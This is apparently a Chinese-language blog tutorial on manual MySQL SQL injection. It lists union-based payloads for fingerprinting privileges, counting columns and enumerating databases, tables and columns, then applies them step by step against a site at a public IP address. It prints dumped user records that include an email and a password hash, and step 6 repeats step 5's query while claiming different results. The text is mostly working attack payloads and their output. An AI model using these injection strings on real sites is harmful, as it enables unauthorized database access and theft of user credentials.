判斷sql注入
1.提交單引號 2.and大法和or大法 3.加法和減法,加號 %2b
數據庫權限判斷
and ord(mid(user(),1,1))=114 //或者 and (select count(*) from mysql.user)>0
判斷字段數
用union聯合查詢
and 1=1 union select 1,2,3,4,5…… union select null,null,null.....
用order by 查詢
order by 1,2,3,4
查詢庫名
判斷數據庫版本 and ord(mid(version(),1,1))>51 直接使用mysql自帶函數database()查詢得到數據庫名 union select 1,database(),3 limit 1,1 得到所有的數據庫名 union select null,schema_name,null from information_schema.schemata 獲取第一個庫名 and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1
查詢表名
在MySQL中,表名存放在information_schema數據庫下tables表table_name字段中、查表名我們主要用到的是TABLES表
group_concat
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test' 或者 union select null,table_name,null from information_schema.tables where table_schema='test'
查詢字段
在MySQL中,字段名存放在information_schema數據庫下columns表column_name字段中,這裏使用的是columns表。
and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='sqltest' 或者 union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='admin'
查詢數據
and 1=2 union select 1,group_concat(id,user,pwd),3 from admin 或者 union select null,title,content from sqltest 或者 and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin
實戰演練
打開網站http://43.247.91.228/content-1/index.php?id=0
,我們在這裏做注入練習
1.首先加單引號報錯,可知存在明顯的注入漏洞
2.輸入and ord(mid(user(),1,1))=114
不報錯,可知數據庫的權限是root權限,並且具有可讀可寫的權限
3.輸入 and 1=1 union select 1,2,3,4,5,6,7,8
不報錯,可以發現這個表的字段有8個
4.使用and 1=2 union select null,schema_name,null ,null,null,null,null,null from information_schema.schemata limit 1,1;--
用;--
註釋了後面的語句,可以獲取所有的數據庫名,可以知道當前執行查詢用戶名爲root@localhost(user()函數), 當前使用的數據庫是inject,下面列出所有數據庫
- information_schema
- inject
- mysql
- performance_schema
5.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--
獲取所有的表名,下面列出所有的表
- users
6.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--
獲取所有的字段,下面列出所有的字段
- idusers
- name
- password
- ua
- ref
- host
- lang
7.接下來就到最後最重要的一步了,獲取所有數據,and 1=2 union select 1,group_concat(idusers,name,email,password,ua,ref,host,lang),3,4,5,6,7,8 from users;--
獲取到的數據如下:
[email protected]_Browserhttp://127.0.0.1/release-channel/content-13/index.php127.0.0.1en,[email protected]_Browser8.8.8.8en,[email protected]_Browser192.168.1.1en,3harryharry@getmantra.com5f4dcc3b5aa765d61d8327deb882cf99Mantra127.0.0.1en
可以看出來這些應該就是數據表中所有的數據了,但是怎麼格式化我並不會,希望看到這篇文章的大佬們能幫我解決一下,請給我發郵件:[email protected]